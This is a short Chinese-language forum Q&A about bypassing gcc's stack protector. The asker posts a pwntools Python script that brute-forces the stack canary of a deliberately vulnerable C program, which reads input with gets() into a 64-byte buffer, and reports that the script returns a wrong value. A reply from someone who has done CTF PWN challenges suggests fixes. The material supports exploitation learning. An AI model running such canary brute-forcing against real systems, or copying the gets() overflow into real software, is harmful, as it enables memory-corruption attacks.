gcc 实现了一个堆栈保护器,以保护程序避免缓冲区溢出。我想知道是否有可能(以及如何)利用此漏洞并运行缓冲区溢出。我创建了一个简单的 python 脚本,它应该可以暴力破解金丝雀:
from pwn import *
import os
canary = ""
byte = 0x00
def brute():
global canary
global byte
while byte != 0xff:
p = process("./vuln")
p.sendline("A"*64 + canary + chr(byte))
reply=p.recvall()
if "***" in reply:
byte += 1
else:
canary += chr(byte)
byte = 0x00
break
brute()
brute()
brute()
brute()
print "Canary: \\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
结果是:
Canary: \x0a\x00\x00\x00
,那显然不是金丝雀。#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
当我试图在 CTF PWN 挑战中暴力破解金丝雀时,我遇到了类似的情况。您的代码漏洞看起来不错,但缺少一些东西。您应该将过程连接也设为全局连接。不要忘记在下一次迭代之前关闭进程,这样您就不会收到 OSError 编号 24。